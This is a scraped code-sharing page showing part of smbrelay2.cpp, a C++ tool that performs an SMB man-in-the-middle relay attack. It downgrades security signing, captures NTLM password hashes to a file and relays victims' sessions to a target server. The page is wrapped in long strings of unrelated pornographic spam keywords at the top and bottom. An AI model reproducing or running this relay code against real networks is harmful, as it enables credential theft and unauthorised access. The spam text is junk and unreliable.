亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? smbrelay2.cpp

?? 通過監(jiān)聽其他機(jī)器上139端口發(fā)來的smb連接請求來得到登錄密碼的程序例子
?? CPP
?? 第 1 頁 / 共 3 頁
字號:
						pTreeConnectAnd2->PasswordLen = 1;
						pTreeConnectAnd2->ByteCount = 32;
						
						char *ptr = (char *)(pTreeConnectAnd2 + 1);

						*ptr = 0;
						ptr++;

						WCHAR  *wptr = (WCHAR *)ptr;

						swprintf(wptr, L"\\\\%S\\IPC$", hostname);

						pTreeConnectAnd2->ByteCount = (wcslen(wptr) + 1) * 2;

						wptr += wcslen(wptr) + 1;

						ptr = (char *)wptr;

						strcpy(ptr, "?????");

						pTreeConnectAnd2->ByteCount += 7;

						inncb.ncb_length = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2  + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4 ;
					}

					break;
				case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000
					fprintf(stderr, "Security blob len: %d\n", psessionsetupand2ex->SecurityBlobLen);


					break;
				default:
					fprintf(stderr, "Unknown setup header length %d\n", psessionsetupand->Len);
					break;
				}

				break;
			}
		}


		if (g_DebugLevel > 2)
			fprintf(stderr, "Sending query to target server\n");

		NBSend(&outncb, buff, inncb.ncb_length);


		if (g_DebugLevel > 2)
			fprintf(stderr, "Receiving response from target server\n");

		if (!NBRecv(&outncb, (PUCHAR)buff, sizeof(buff)))
		{
			NBHangup(&inncb);
			return ;
		}


		switch (psmbheader->Command)
		{
		case SMB_COM_NEGOTIATE:

			SessionID = pdialectselectheader->UniqueSessionKey;

			if (pdialectselectheader->EncryptionKeyLen )
			{
				fprintf(stderr, "Challenge (%d bytes):    ", pdialectselectheader->EncryptionKeyLen);

				PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen);

				memcpy(challenge, pdialectselectheader + 1, 8);

				fprintf(stderr, "\n");
			}

			if (pdialectselectheader->bSecuritySignaturesRequired )
			{
				fprintf(stderr, "Security signatures required by server *** THIS MAY NOT WORK!\n");
				pdialectselectheader->bSecuritySignaturesRequired = 0;
			}

			if (pdialectselectheader->bExtendedSecurity)
			{
				fprintf(stderr, "Disabling extended security *** THIS MAY NOT WORK!\n");
				pdialectselectheader->bExtendedSecurity = 0;
			}

			if (pdialectselectheader->bSecuritySignaturesEnabled)
			{
				fprintf(stderr, "Disabling security signatures\n");
				pdialectselectheader->bSecuritySignaturesEnabled = 0;
			}

			// copy negotiation response for relaying later
			memcpy(negotiateheaders, buff, sizeof(negotiateheaders));

			break;

		case SMB_COM_SESSION_SETUP_ANDX:

			if (psmbheader->NTError == 0)
			{
				if (strlen(username))
					bConnected = TRUE;

				if (psessionsetupandresponse->Action & 1)
				{
					fprintf(stderr, "Connected as guest\n");
				}

				if (/* psmbheader->bUnicodeStrings*/TRUE )
				{
					WCHAR *ptr = (WCHAR *)(psessionsetupandresponse + 1);

					if ((DWORD)ptr % 2)
						ptr = (WCHAR *)((char *)ptr +1);

					fprintf(stderr, "OS:           \"%S\"\n", ptr);

					ptr += wcslen(ptr) + 1;

					fprintf(stderr, "Lanman type:  \"%S\"\n", ptr);

					ptr += wcslen(ptr) + 1;

					fprintf(stderr, "Domain:       \"%S\"\n", ptr);

				}
				else
				{
					char *ptr = (char *)(psessionsetupandresponse + 1);

					fprintf(stderr, "OS:           \"%s\"\n", ptr);

					ptr += strlen(ptr) + 1;

					fprintf(stderr, "Lanman type:  \"%s\"\n", ptr);

					ptr += strlen(ptr) + 1;

					fprintf(stderr, "Domain:       \"%s\"\n", ptr);

					ptr += strlen(ptr) + 1;

				}

				if (strlen(username))
				{
					memcpy(logonandconnectheaders, buff, sizeof(logonandconnectheaders));
					UID = psmbheader->UserID;
				}

			}
			else
			{
				fprintf(stderr, "Login failure code: 0x%08X\n", psmbheader->NTError );
			}
			break;
		}


		if (!bConnected)
		{
			if (g_DebugLevel > 2)
				fprintf(stderr, "Sending response to target client");

			NBSend(&inncb, buff, outncb.ncb_length);
		}


		fprintf(stderr, "\n");

	}

	NBHangup(&inncb);



	FILE *file;

	file = fopen("hashes.txt", "a");

	if (file != NULL)
	{
		fprintf(file, "%s\\%s:3:", hostname, username);

		for (x = 0; x < 8; x++)
			fprintf(file, "%02X", challenge[x]);

		fprintf(file, ":");

		for (x = 0; x < 24; x++)
			fprintf(file, "%02X", caseinsensitivepassword[x]);

		fprintf(file, ":");

		for (x = 0; x < 24; x++)
			fprintf(file, "%02X", casesensitivepassword[x]);

		fprintf(file, "\n");

		fclose(file);

		fprintf(stderr, "Password hash written to disk\n");
	}

	if (bConnected)
	{

		fprintf(stderr, "Connected?\n");

		if (!NBAddName(RelayName, &inncb) )
		{
			NBHangup(&outncb);
			fprintf(stderr, "Unable to add relay name\n");
			return ;
		}

		while (bConnected && !g_bQuit)
		{


			if (!NBListen(&inncb))
			{
				fprintf(stderr, "Error receiving relay connetion\n");
				NBHangup(&outncb);
				return ;
			}



			fprintf(stderr, "*** Relay connection for target %s received from ", hostname);
			PrintNetBIOSName(inncb.ncb_callname);
			fprintf(stderr, "\n");


			bContinue = TRUE;


			BOOL bLogonDone = FALSE;
			BOOL bDialectSelected = FALSE;

			do
			{
				BOOL bDoSend = TRUE;

//				if (g_DebugLevel > 2)
//					fprintf(stderr, "Receiving request from relay\n");

				if (!NBRecv(&inncb, (PUCHAR)buff, sizeof(buff)))
				{
					bContinue = FALSE;
				}

				if (inncb.ncb_length == 0)
					bDoSend = FALSE;

				if (bContinue && bDoSend)
				{

					if (psmbheader->MagicVal != SMBMAGICVAL	)
					{
						if (g_DebugLevel > 0)
							fprintf(stderr, "Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, inncb.ncb_length, hostname);

					}
					else
					{
						if (g_DebugLevel > 0)
							fprintf(stderr, "%s\n", GetCommandType(psmbheader->Command));
					}


					switch (psmbheader->Command)
					{
					case SMB_COM_LOGOFF_ANDX:
						fprintf(stderr, " *** Logoff from target %s\n", hostname);
						bDoSend = FALSE;
						bContinue = FALSE;
						break;

					case SMB_COM_NEGOTIATE:
						if (!bDialectSelected)
						{
							char *ptr = (char *)(psmbheader + 1) + 3;
							int selecteddialect = 0;
							x = 0;

							bDialectSelected = TRUE;

							while (selecteddialect == 0 && ptr < buff + inncb.ncb_length)
							{
								if (g_DebugLevel > 0)
									fprintf(stderr, "%d - Dialect %d - %s\n", x, *ptr, ptr+1);
				
								x++;

								ptr += strlen(ptr+1) + 2;

									// locate dialect of choice
								if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0)
									selecteddialect = x;

							}


							memcpy(buff, negotiateheaders, sizeof(negotiateheaders));

							pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN;
							pdialectselectheader->DialectIndex = selecteddialect;


							ptr = (char *)(pdialectselectheader + 1);

							// put encryption key here
							memcpy(ptr, "!!!!!!!!", 8);

							ptr += SMBENCRYPTIONKEYLEN ;

							if (/*psmbheader->bUnicodeStrings*/TRUE)
							{
								swprintf((WCHAR *)ptr, L"%S", SERVERDOMAINNAME);
								pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2;
							}
							else
							{
								strcpy(ptr, SERVERDOMAINNAME);
								pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1;
							}

							inncb.ncb_length = sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount ;

							fprintf(stderr, " *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname );

							NBSend(&inncb, buff, inncb.ncb_length);
							bDoSend = FALSE;


						}



						break;
					case SMB_COM_SESSION_SETUP_ANDX:
						if ( !bLogonDone )
						{
							bLogonDone = TRUE;

							WORD MID = psmbheader->MultiplexID;
							WORD AndXCommand = psessionsetupand->AndXCommand ;

							memcpy(buff, logonandconnectheaders, sizeof(logonandconnectheaders) );
							
							psmbheader->MultiplexID = MID;

							psmbheader->UserID = UID ;

							outncb.ncb_length =  sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandresponse->ByteCount + 2;

								// truncate it if necessary
							if (AndXCommand == SMB_NONE)
							{
								psessionsetupandresponse->AndXCommand = SMB_NONE;
								psessionsetupandresponse->AndXOffset = 0;

							}
							else
							{
								PTREE_CONNECT_ANDRESPONSEHEADER ptreeconnectand = (PTREE_CONNECT_ANDRESPONSEHEADER)( (char *)psmbheader + psessionsetupandresponse->AndXOffset );

								ptreeconnectand->Len = TREE_CONNECT_ANDRESPONSEHEADER_LEN;
								ptreeconnectand->AndXCommand = SMB_NONE;
								ptreeconnectand->AndXOffset = 0;
								ptreeconnectand->AndXReserved = 0;
								ptreeconnectand->OptionalSupport = 0;

								char *ptr = (char *)(ptreeconnectand + 1);

								strcpy(ptr, "IPC");

								ptreeconnectand->ByteCount = strlen(ptr) + 3;

								ptr += strlen(ptr) + 1;
								*ptr = 0;
								ptr++;
								*ptr = 0;

								outncb.ncb_length += ptreeconnectand->Len * 2 + ptreeconnectand->ByteCount + 4;
							}


							fprintf(stderr, " *** Sent SMB Session setup response for relay to %s\n", hostname);
	
							NBSend(&inncb, buff, inncb.ncb_length);
							bDoSend = FALSE;

						}

						break;
					}
				}


				if (bContinue && bDoSend )
				{

					if (g_DebugLevel > 2)
						fprintf(stderr, "Sending request to target server\n");

					NBSend(&outncb, buff, inncb.ncb_length);

				}

				if (bContinue && !g_bQuit)
				{
					if (!NBRecv(&outncb, (PUCHAR)buff, sizeof(buff)))
					{
						fprintf(stderr, "Error receiving response from target");
						bContinue = FALSE;
					}


					if (bContinue && !g_bQuit && outncb.ncb_length > 0)
					{
						if (g_DebugLevel > 0)
							fprintf(stderr, "Received %d byte response from target %s\n", outncb.ncb_length , hostname);

						if (g_DebugLevel > 2)
							fprintf(stderr, "Sending response to relay client\n");

						NBSend(&inncb, buff, outncb.ncb_length);

					}
				}

				Sleep(5);

			} while (bContinue && !g_bQuit);

			fprintf(stderr, " *** Relay disconnected from target %s\n", hostname);

		}
	}

	NBHangup(&inncb);
	NBHangup(&outncb);


}


int main(int argc, char* argv[])
{
	NCB inncb;
	int MaxSessions = 20;
	int MaxNames = 32;
	char LocalName[32] =  "SERVER          ";
	int x;


	fprintf(stderr, "SMBRelay2 v.98 - NetBIOS level SMB man-in-the-middle relay attack\n");

	for (x = 1; x < argc; x++)
	{
		if (argv[x][0] == '/')
		{
			switch (toupper(argv[x][1]))
			{
			case 'A':
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for %s\n", argv[x]);
					Usage();
					return 0;
				}
				x++;

				g_LanaNum = atoi(argv[x]);

				break;
			case 'D':
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for %s\n", argv[x]);
					Usage();
					return 0;
				}
				x++;

				g_DebugLevel = atoi(argv[x]);

				break;
			case 'L':
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for %s\n", argv[x]);
					Usage();
					return 0;
				}
				x++;
				ParamToNetBIOSName(LocalName, argv[x]);
				LocalName[NCBNAMSZ-1] = 0x20;
				break;
			case 'R':
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for %s\n", argv[x]);
					Usage();
					return 0;
				}
				x++;
				ParamToNetBIOSName(RelayName, argv[x]);
				RelayName[NCBNAMSZ-1] = 0x20;
				break;
			case 'S':
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for %s\n", argv[x]);
					Usage();
					return 0;
				}
				x++;
				ParamToNetBIOSName(SourceName, argv[x]);
				break;
			case 'T':
				if (x > argc - 2)
				{
					fprintf(stdout, "Missing argument for %s\n", argv[x]);
					Usage();
					return 0;
				}
				x++;
				ParamToNetBIOSName(TargetName, argv[x]);
				TargetName[NCBNAMSZ-1] = 0x20;
				break;
			default:
				fprintf(stdout, "Bad option: \"%s\"\n", argv[x] );
			case '?':
			case 'H':

				Usage();
				return 0;
				break;
			}
		}
		else
		{
			fprintf(stderr, "Bad argument: %s\n", argv[x]);
		}
	}



	if (!NBReset (g_LanaNum, MaxSessions, MaxNames)) 
		return 0;


	if (!NBAddName(LocalName, &inncb) )
	{
		return 0;
	}

	do
	{
		if (!NBListen(&inncb))
		{
			fprintf(stderr, "Error listening\n");
			return 0;
		}

		_beginthread( ConnectionHandlerThread, 0, &inncb );

		Sleep(150);


	} while (TRUE);




	_getch();

	return 0;
}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
蜜臀av一区二区三区| 欧美日韩国产综合久久| 另类的小说在线视频另类成人小视频在线| 日本一区二区不卡视频| 久久夜色精品国产噜噜av| 欧美一区午夜视频在线观看| 欧美高清精品3d| 日韩区在线观看| 久久视频一区二区| 欧美韩日一区二区三区四区| 国产精品毛片高清在线完整版| 国产农村妇女毛片精品久久麻豆| 国产亚洲短视频| 久久久久久麻豆| 亚洲欧洲av另类| 亚洲精品视频免费观看| 天堂影院一区二区| 麻豆久久一区二区| 国产一区二区三区四区在线观看 | 国产成人免费在线视频| 久久丁香综合五月国产三级网站| 免费在线观看一区| 奇米精品一区二区三区在线观看一| 奇米一区二区三区| k8久久久一区二区三区| 色悠久久久久综合欧美99| 在线观看一区二区精品视频| 欧美日韩国产影片| 欧美一区二区三区播放老司机| 欧美剧情电影在线观看完整版免费励志电影| 欧美三级在线播放| 久久综合99re88久久爱| 综合激情成人伊人| 六月丁香婷婷久久| 色综合视频一区二区三区高清| 欧美日韩在线不卡| 精品国产伦一区二区三区观看方式 | 国模无码大尺度一区二区三区| 不卡高清视频专区| 91麻豆精品国产91久久久久久| 精品久久一二三区| 一区二区三区在线视频观看58| 视频在线在亚洲| 欧美日本一道本在线视频| 精品国产免费一区二区三区四区 | 经典三级视频一区| 91成人国产精品| 国产亚洲一区二区三区四区 | 国产精品丝袜在线| 日韩不卡一区二区三区| 国产高清在线观看免费不卡| 欧美老肥妇做.爰bbww视频| 欧美极品美女视频| 狠狠色伊人亚洲综合成人| 欧美日本一区二区在线观看| 中文字幕一区日韩精品欧美| 日韩激情中文字幕| 在线一区二区视频| 国产蜜臀97一区二区三区| 美女精品一区二区| 91福利在线播放| 一色屋精品亚洲香蕉网站| 国产精品羞羞答答xxdd| 日韩视频一区在线观看| 中文字幕乱码亚洲精品一区| 在线精品视频免费观看| 精品人在线二区三区| 亚洲免费在线观看视频| 奇米色一区二区| 在线免费观看日韩欧美| 国产欧美一区二区三区在线老狼| 久久国产精品第一页| 亚洲成a人片综合在线| www.日韩在线| 亚洲成人精品影院| 一本大道综合伊人精品热热| 亚洲精品中文在线影院| 亚洲黄网站在线观看| fc2成人免费人成在线观看播放| 欧美第一区第二区| 美女网站视频久久| 久久这里只精品最新地址| 日本v片在线高清不卡在线观看| 99视频热这里只有精品免费| 亚洲视频免费在线观看| 91免费小视频| 日韩不卡一区二区三区| 欧美tk丨vk视频| 成人激情免费网站| 一区二区在线观看免费视频播放| 欧美自拍偷拍一区| 日韩电影免费在线| 久久久亚洲午夜电影| 成人午夜精品一区二区三区| 国产精品全国免费观看高清| 色天天综合色天天久久| 日本免费新一区视频| 国产偷国产偷亚洲高清人白洁| 不卡的电影网站| 亚洲综合成人网| 日韩一区二区三区视频在线观看| 麻豆精品久久久| 中文字幕一区二区三区在线观看 | 久久精品亚洲麻豆av一区二区| 国产98色在线|日韩| 亚洲一区二区三区自拍| 日韩手机在线导航| 91亚洲精品久久久蜜桃网站| 日本网站在线观看一区二区三区 | 欧美日韩高清影院| 狠狠色丁香婷婷综合| 日韩专区在线视频| 欧美va日韩va| 欧美影视一区二区三区| 国产成人精品三级| 日本欧美在线观看| 亚洲六月丁香色婷婷综合久久| 日韩一区二区三区四区| 色吧成人激情小说| 国产成人综合精品三级| 日韩国产一二三区| |精品福利一区二区三区| 欧美成人综合网站| 色婷婷久久99综合精品jk白丝| 麻豆精品视频在线观看| 性感美女久久精品| 欧美国产欧美亚州国产日韩mv天天看完整 | 蜜臀久久99精品久久久久久9 | 在线播放日韩导航| 97精品视频在线观看自产线路二| 免费观看久久久4p| 亚洲va在线va天堂| 亚洲黄色录像片| 日韩午夜小视频| 亚洲私人影院在线观看| 欧美日本乱大交xxxxx| 国产乱人伦偷精品视频不卡| 亚洲最新视频在线播放| 国产精品国产三级国产普通话99 | 亚洲免费观看高清完整版在线| 精品欧美一区二区三区精品久久 | 91精品国产一区二区三区 | 久久久综合网站| 欧美日韩情趣电影| 91视频91自| 成人一区二区三区| 国产精品亚洲专一区二区三区| 久久97超碰色| 精东粉嫩av免费一区二区三区 | 日韩欧美的一区| 91国产免费观看| 欧美色精品天天在线观看视频| 91碰在线视频| 欧美在线不卡一区| 欧美性做爰猛烈叫床潮| 欧美日韩一区二区三区免费看| 91久久精品国产91性色tv| 蜜臀av一区二区三区| 久国产精品韩国三级视频| 久久狠狠亚洲综合| 国产a久久麻豆| 成人99免费视频| 欧洲精品在线观看| 91精品一区二区三区久久久久久 | 亚洲精品一区在线观看| 久久先锋影音av| 中文字幕亚洲区| 一区二区三区产品免费精品久久75| 亚洲资源中文字幕| 美女一区二区在线观看| 国产精品一区2区| 国产成人精品亚洲日本在线桃色| 不卡的电影网站| 欧美精品亚洲一区二区在线播放| 91麻豆精品国产自产在线| 欧美精品一区男女天堂| 亚洲欧洲精品天堂一级| 天堂一区二区在线免费观看| 国产一区二区三区不卡在线观看| 粉嫩高潮美女一区二区三区| 国产99久久久国产精品潘金| 一本大道av伊人久久综合| 日韩精品一区二区三区四区视频 | 欧美性色欧美a在线播放| 欧美欧美欧美欧美| 欧美激情综合五月色丁香| 亚洲色图19p| 久99久精品视频免费观看| 狠狠久久亚洲欧美| av在线这里只有精品| 日韩视频免费直播| 亚洲色图视频网| 久久99精品久久久| 91美女在线观看| 日韩无一区二区| 一区二区三区**美女毛片| 国产麻豆一精品一av一免费| 欧美精三区欧美精三区| 综合久久一区二区三区| 国产精品综合网|